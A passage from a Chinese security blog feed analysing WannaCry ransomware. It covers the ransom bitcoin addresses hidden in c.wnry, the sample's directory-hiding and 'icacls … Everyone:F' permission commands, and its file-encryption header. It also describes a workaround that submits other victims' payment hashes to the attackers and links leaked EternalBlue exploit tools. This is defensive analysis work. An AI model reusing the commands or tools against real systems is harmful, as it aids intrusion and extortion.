26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">然后在当前目录下读取c.wnry文件</p><p><img data-s="300,640" data-type="jpeg" data-w="749" data-ratio="0.5781041388518025" src="https://wechat2rss.xlab.app/img-proxy/?k=65ba9a86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxBDqEIv0UPevN6fuymvPD4jMsfPHYV1UmzUcvax6ufgv8qcXGPuLmsQ%2F0%3Fwx_fmt%3Djpeg"/><span style="background-color: rgb(255, 255, 255); color: rgb(88, 88, 88); font-family: 微软雅黑; font-size: 15px; text-align: center; white-space: pre-wrap; widows: 1;">  </span><span style="background-color: rgb(255, 255, 255); color: rgb(88, 88, 88); font-family: 微软雅黑; font-size: 15px; white-space: pre-wrap; widows: 1;">如果读取到了c.wnry文件，就会将</span><span style="font-family: 微软雅黑; font-size: 15px; white-space: pre-wrap; widows: 1; box-sizing: border-box; font-weight: 700; color: rgb(0, 112, 192);">13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94</span><span style="background-color: rgb(255, 255, 255); color: rgb(88, 88, 88); font-family: 微软雅黑; font-size: 15px; white-space: pre-wrap; widows: 1;">通过一个随机数加密后写回到</span><span style="font-family: 微软雅黑; white-space: pre-wrap; widows: 1; box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51); font-size: 16px;">c.wnry，而这一串数字就是黑客的比特币地址，也就是说c.wnry文件里保存的是加密后的黑客的比特币地址</span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; text-align: center; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51);"></span></p><p><img data-s="300,640" data-type="jpeg" data-w="330" data-ratio="0.11818181818181818" src="https://wechat2rss.xlab.app/img-proxy/?k=0d4372a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxfpNZHdCWb47z9gJib4nTXnqVsP0SvG58lzRKYTDwMvBPsJf8UcGia5jw%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; font-weight: 700; color: rgb(0, 112, 192);">上图就是</span><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all;"><span style="box-sizing: border-box; font-weight: 700; color: rgb(0, 112, 192);">c.wnry文件的加密算法</span>，这个加密很简单，只用了两句来实现</span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">下面的临时解决方案的自动化工具里就用到了这三个黑客的比特币地址</p><blockquote style="box-sizing: border-box; padding: 10px 20px; margin-bottom: 20px; font-size: 14px; border-left-width: 5px; border-left-color: rgb(238, 238, 238); color: rgb(88, 88, 88); font-family: 微软雅黑; line-height: 26px; white-space: normal; widows: 1; background: rgb(247, 247, 247);"><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap;"><span style="box-sizing: border-box; font-weight: 700;">13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94<br style="box-sizing: border-box;"/></span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap;"><span style="box-sizing: border-box; font-weight: 700;">12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw<br style="box-sizing: border-box;"/></span></p><p style="box-sizing: border-box; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap;"><span style="box-sizing: border-box; font-weight: 700;">115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn</span>        <span style="background-color: rgb(255, 255, 255); text-align: center;">    </span></p></blockquote><p><img data-s="300,640" data-type="jpeg" data-w="333" data-ratio="0.21921921921921922" src="https://wechat2rss.xlab.app/img-proxy/?k=1323cd6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxbF05ic0eAB0PXRfeY5Rl7xSKia2sXOMK1MicjB6x2Oclrpd4T4hgAGvxA%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">执行这两句命令</p><blockquote style="box-sizing: border-box; padding: 10px 20px; margin-bottom: 20px; font-size: 14px; border-left-width: 5px; border-left-color: rgb(238, 238, 238); color: rgb(88, 88, 88); font-family: 微软雅黑; line-height: 26px; white-space: normal; widows: 1; background: rgb(247, 247, 247);"><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap;">attrib +h .</p><p style="box-sizing: border-box; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap;">icacls . /grant Everyone:F /T /C /Q</p></blockquote><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51); font-size: 16px;"><span style="box-sizing: border-box; font-weight: 700;">attrib</span>命令将<span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(62, 62, 62);">DisplayName工作目录设置为隐藏</span></span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51); font-size: 16px;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(62, 62, 62);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51);"><span style="box-sizing: border-box; font-weight: 700;">icacls</span>命令开放目录的用户权限</span></span>    </span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51); font-size: 16px;"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(62, 62, 62);"><span style="box-sizing: border-box; word-wrap: break-word; word-break: break-all; color: rgb(51, 51, 51);">接下来是动态获取所需的API地址</span></span>    </span></p><p><img data-s="300,640" data-type="jpeg" data-w="383" data-ratio="1.3890339425587468" src="https://wechat2rss.xlab.app/img-proxy/?k=2c429327&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxB0oWr3c8l2gfe78ibicnZic2kvUZGg3ybfWL1aBI0M7HJ9m33bwz1hJgQ%2F0%3Fwx_fmt%3Djpeg"/><span style="background-color: rgb(255, 255, 255); color: rgb(88, 88, 88); font-family: 微软雅黑; font-size: 15px; text-align: center; white-space: pre-wrap; widows: 1;">    </span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">首先是获取kernel32.dll中的文件相关的API<span style="text-align: center;">    </span></p><p><img data-s="300,640" data-type="jpeg" data-w="480" data-ratio="1.0145833333333334" src="https://wechat2rss.xlab.app/img-proxy/?k=49cf6263&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxibKUkXqN9eXw3NGvz2Kn2vXHXPQiaia9dJEVIs025EpZ7IBtUmsImer0A%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">然后是获取advapi32.dll中的加解密相关的API<span style="text-align: center;">   </span></p><p><img data-s="300,640" data-type="jpeg" data-w="653" data-ratio="0.30321592649310875" src="https://wechat2rss.xlab.app/img-proxy/?k=dd609517&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxue1bOPHOrFAmdzlv5PRtUcW0ySt4IMjvUwCRZ6AeHEDFjU1gMNUmbg%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">CSP用的是系统默认或者是RSA and AES<span style="text-align: center;">   </span></p><p><img data-s="300,640" data-type="jpeg" data-w="371" data-ratio="0.444743935309973" src="https://wechat2rss.xlab.app/img-proxy/?k=3878267a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxmVJsKFibVGH41COe6fvfPqcILUY1BDyFL2jibaUcMBQcSWRaYSZyINBw%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">加密文件以<span style="box-sizing: border-box; font-weight: 700; color: rgb(0, 112, 192);">WANACRY!</span>为特征头</p><p><img data-s="300,640" data-type="jpeg" data-w="598" data-ratio="0.9983277591973244" src="https://wechat2rss.xlab.app/img-proxy/?k=2a6ee5f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxrnDw9FDXCCYU1kkvmGLSGlGskYPibxnQic1hRlZwTu4IbwBe1Go1YU6w%2F0%3Fwx_fmt%3Djpeg"/><span style="background-color: rgb(255, 255, 255); color: rgb(88, 88, 88); font-family: 微软雅黑; font-size: 15px; text-align: center; white-space: pre-wrap; widows: 1;">   </span><span style="background-color: rgb(255, 255, 255); color: rgb(88, 88, 88); font-family: 微软雅黑; font-size: 15px; white-space: pre-wrap; widows: 1;">被加密的文件涉及到各种文档、文本、虚拟机、压缩包、镜像、图片、视频、音乐、源代码、脚本、数据库、邮件、证书等近200种文件类型，几乎涵盖了方方面面，但确没有BT种子文件，看来黑客还是有所为有所不为啊^_^</span></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><br/></p><section style="white-space: normal; max-width: 100%; box-sizing: border-box; color: rgb(62, 62, 62);"><section class="" style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="margin-top: 10px; margin-bottom: 10px; max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="padding: 2px; max-width: 100%; box-sizing: border-box; display: inline-block; background-color: rgb(0, 0, 0); word-wrap: break-word !important;"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; font-size: 16px; max-width: 100%; box-sizing: border-box; display: inline-block; color: rgb(255, 255, 255); background-color: rgb(249, 110, 87); word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><span style="max-width: 100%; font-size: 20px; box-sizing: border-box !important; word-wrap: break-word !important;">0x01</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; max-width: 100%; box-sizing: border-box; display: inline-block; color: rgb(255, 255, 255); word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box; font-size: 20px; word-wrap: break-word !important;">临时解决方案自动化工具</section></section></section></section></section></section><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">网上流传了一个临时解决方案的思路是：</p><blockquote style="box-sizing: border-box; padding: 10px 20px; margin-bottom: 20px; font-size: 14px; border-left-width: 5px; border-left-color: rgb(238, 238, 238); color: rgb(88, 88, 88); font-family: 微软雅黑; line-height: 26px; white-space: normal; widows: 1; background: rgb(247, 247, 247);"><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap;">获取黑客收款地址的交易记录</p><p style="box-sizing: border-box; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap;">将别人支付赎金的记录信息（交易hash值）冒充是自己付的发送给黑客来蒙混过关（挺贼的^_^）</p></blockquote><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">通过<a href="https://btc.com/可以查询到交易记录，但是我们需要有黑客的收款地址，上面我们已经分析出来了" target="_blank">https://btc.com/可以查询到交易记录，但是我们需要有黑客的收款地址，上面我们已经分析出来了</a></p><blockquote style="box-sizing: border-box; padding: 10px 20px; margin-bottom: 20px; font-size: 14px; border-left-width: 5px; border-left-color: rgb(238, 238, 238); color: rgb(88, 88, 88); font-family: 微软雅黑; line-height: 26px; white-space: normal; widows: 1; background: rgb(247, 247, 247);"><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap;">13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94</p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap;">12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw</p><p style="box-sizing: border-box; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap;">115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn</p></blockquote><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">网上有个python的自动化脚本，这里再优化一下，而且还有很多人不是搞IT的，不懂什么python，于是做了一个傻瓜式的exe程序来自动获取交易记录<span style="text-align: center;">   </span></p><p><img data-s="300,640" data-type="jpeg" data-w="754" data-ratio="0.7161803713527851" src="https://wechat2rss.xlab.app/img-proxy/?k=cc091906&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD0K6nDMS3DusRsURP8UUhGxluESUdKibktWv8u1461UZBxvE6nicWPqdic24MusbQQ2UzFTZ9SV8kntg%2F0%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">工具链接: <span style="box-sizing: border-box; font-weight: 700;"></span><a href="http://pan.baidu.com/s/1hsbwQaC" target="_blank">http://pan.baidu.com/s/1hsbwQaC</a> 密码: p263</p><h2 style="box-sizing: border-box; font-family: 微软雅黑; font-weight: bold; line-height: 1.1; color: rgb(55, 56, 56); margin-top: 30px; margin-bottom: 15px; font-size: 18px; white-space: normal; widows: 1; background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box; color: rgb(51, 51, 51);"></span></span></h2><section style="white-space: normal; max-width: 100%; box-sizing: border-box; color: rgb(62, 62, 62);"><section class="" style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="margin-top: 10px; margin-bottom: 10px; max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="padding: 2px; max-width: 100%; box-sizing: border-box; display: inline-block; background-color: rgb(0, 0, 0); word-wrap: break-word !important;"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; font-size: 16px; max-width: 100%; box-sizing: border-box; display: inline-block; color: rgb(255, 255, 255); background-color: rgb(249, 110, 87); word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><span style="max-width: 100%; font-size: 20px; box-sizing: border-box !important; word-wrap: break-word !important;">0x02</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; max-width: 100%; box-sizing: border-box; display: inline-block; color: rgb(255, 255, 255); word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box; font-size: 20px; word-wrap: break-word !important;">结尾</section></section></section></section></section></section><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">从下午开始一直坐在电脑前就没起过身，分析、码字、写工具，一晃现在都到半夜了，搞这行伤不起啊。写不动了，今天先休息了。不过也能猜到其他还要做什么，就是扫端口，找到开放了445端口SMBv1的就使用NSA老大的Eternalblue Doublepulsar实现蠕虫式传播</p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">最后再分享下这次罪魁祸首的工具：</p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><a href="https://github.com/x0rz/EQGRP_Lost_in_Translation" target="_blank">https://github.com/x0rz/EQGRP_Lost_in_Translation</a>    </p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><a href="https://github.com/misterch0c/shadowbroker" target="_blank">https://github.com/misterch0c/shadowbroker</a>    </p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">是工具（没有源码），用了一个python攻击框架Fuzzbunch简称fb，这个框架怎么用，可以看这里<a href="http://www.freebuf.com/articles/system/133853.html" target="_blank">http://www.freebuf.com/articles/system/133853.html</a></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);">微软的补丁信息：<a href="https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/" target="_blank">https://blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/</a></p><p style="box-sizing: border-box; margin-bottom: 10px; font-size: 15px; line-height: 26px; word-wrap: break-word; word-break: break-all; white-space: pre-wrap; color: rgb(88, 88, 88); font-family: 微软雅黑; widows: 1; background-color: rgb(255, 255, 255);"><br/></p><blockquote style="margin-top: 5px; margin-bottom: 5px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px; max-width: 100%; border-width: 0px; border-style: none; border-color: initial; font-family: 微软雅黑; font-size: 14px; line-height: 24px; color: rgb(51, 51, 51); background-color: rgb(241, 241, 241); box-sizing: border-box !important; word-wrap: break-word !important;"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(12, 137, 24); box-sizing: border-box !important; word-wrap: break-word !important;">版权声明：</span></strong><br/></blockquote><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); white-space: normal; font-family: 微软雅黑; font-size: 14px; line-height: 24px; border-width: 0px; border-style: initial; border-color: initial; background-color: rgb(241, 241, 241); box-sizing: border-box !important; word-wrap: break-word !important;"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">本文由MS509团队成员原创，转载请注明来源</span></strong></p><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); white-space: normal; font-family: 微软雅黑; font-size: 14px; line-height: 24px; border-width: 0px; border-style: initial; border-color: initial; background-color: rgb(241, 241, 241); box-sizing: border-box !important; word-wrap: break-word !important;"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">注：本文已由团队成员“expsky”2017-05-14 发布于“FreeBuf”</span></strong></p><p><br/></p><section style="max-width: 100%; box-sizing: border-box; line-height: 25.6px; background-color: rgb(255, 255, 255); word-wrap: break-word !important;"><section class="" style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="margin-top: 10px; margin-bottom: 10px; max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="padding-right: 1em; padding-left: 1em; max-width: 100%; box-sizing: border-box; display: inline-block; text-align: center; word-wrap: break-word !important;"><span class="" style="padding: 0.3em 0.5em; max-width: 100%; box-sizing: border-box; display: inline-block; border-radius: 0.5em; font-size: 14.08px; color: rgb(255, 255, 255); background-color: rgb(24, 141, 42); word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><span style="max-width: 100%; font-size: 16px; box-sizing: border-box !important; word-wrap: break-word !important;">MS509简介：</span></section></span> </section><section class="" style="margin-top: -1em; padding: 20px 10px 10px; max-width: 100%; box-sizing: border-box; border-width: 1px; border-style: solid; border-color: rgb(192, 200, 209); text-align: center; background-color: rgb(239, 239, 239); word-wrap: break-word !important;"><section class="" style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><section class="" style="max-width: 100%; box-sizing: border-box; text-align: left; word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box; word-wrap: break-word !important;"><em style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><em style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; line-height: 24px; white-space: pre-wrap; box-sizing: border-box !important; word-wrap: break-word !important;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="max-width: 100%; line-height: 24px; white-space: pre-wrap; box-sizing: border-box !important; word-wrap: break-word !important;">。</strong><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;">更多团队动态，尽在www.ms509.com</strong></em></em></section></section></section></section></section></section></section></section><p><br/></p><section class="" style="max-width: 100%; line-height: 25.6px; border-width: 0px; border-style: none; border-color: initial; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; text-align: center; border-width: 0px; border-style: solid; border-color: rgb(0, 0, 0); box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; display: inline-block; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; width: 21em; border-width: 0px; border-style: solid; border-color: rgb(0, 0, 0); box-sizing: border-box !important; word-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.532" width="auto" data-type="gif" data-w="500" style="box-sizing: border-box !important; word-wrap: break-word !important; width: auto !important; visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1b0b4184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F0%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em; margin-left: 0.8em; max-width: 100%; width: 8em; height: 8em; box-sizing: border-box !important; word-wrap: break-word !important;"><img class="" data-ratio="1" data-s="300,640" style="box-sizing: border-box !important; word-wrap: break-word !important; width: auto !important; visibility: visible !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=9b636feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F640%3Fwx_fmt%3Djpeg"/><br style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"/></section></section></section></section><p><br/></p><p><br/></p><section class="" data-ele="" style="max-width: 100%; line-height: 25.6px; box-sizing: border-box !important; word-wrap: break-word !important;"><section class="" data-ele="" style="max-width: 100%; border-width: 0px; border-style: none; border-color: initial; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; min-height: 1.5em; font-size: 15.5556px; line-height: 2em; word-break: normal; border-radius: 5px; color: rgb(255, 255, 255); text-align: center; background-color: rgb(89, 150, 235); box-sizing: border-box !important;"><span style="max-width: 100%; color: inherit; box-sizing: border-box !important; word-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="2650935280">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3000651d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935280%26idx%3D1%26sn%3Dec15f1ca2436814fdb6172469fa74337%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 14 May 2017 10:01:00 +0800</pubDate>
    </item>
    <item>
      <title>Android Telephony拒绝服务漏洞（CVE-2016-6763）分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935251&amp;idx=1&amp;sn=490656dfb2f71a4f2781e5b6ab1406df</link>
      <description>责任编辑：支书Woojune前些日子，团队 heeeeen 大牛，发了一篇全英文的CVE-2016-6763</description>
      <content:encoded><![CDATA[<p>
<span>heeeeen@ms509</span> <span>2016-12-21 17:31</span> <span style="display: inline-block;"></span>
</p>

<p>责任编辑：支书Woojune前些日子，团队 heeeeen 大牛，发了一篇全英文的CVE-2016-6763</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c8fe4fc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD11ibMYrltStbyJRHJRf2UBvMw9SFZ94npBJiaV9U9bd09wOZWtibbysibvY9bgkewJ3qrJaAT2vhdAbQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


